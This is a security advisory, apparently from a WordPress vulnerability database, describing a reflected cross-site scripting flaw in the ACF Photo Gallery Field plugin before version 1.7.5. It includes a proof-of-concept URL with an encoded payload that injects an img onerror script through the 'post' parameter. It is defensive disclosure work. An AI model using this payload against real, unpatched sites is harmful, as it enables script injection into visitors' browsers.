WordPress Plugin Vulnerabilities

ACF Photo Gallery Field < 1.7.5 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape the post parameter in the includes/acf_photo_gallery_metabox_edit.php file before outputing back in an attribute, leading to a Reflected Cross-Site Scripting issue

Proof of Concept

https://example.com/wp-content/plugins/navz-photo-gallery/includes/acf_photo_gallery_metabox_edit.php?post=%22%3E%3Cimg/src/onerror=alert(/XSS/)%3E

Affects Plugins

Fixed in 1.7.5

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Krzysztof Zając
Verified
Yes

Timeline

Publicly Published
2021-12-20 (about 2 years ago)
Added
2021-12-20 (about 2 years ago)
Last Updated
2022-04-13 (about 2 years ago)

Other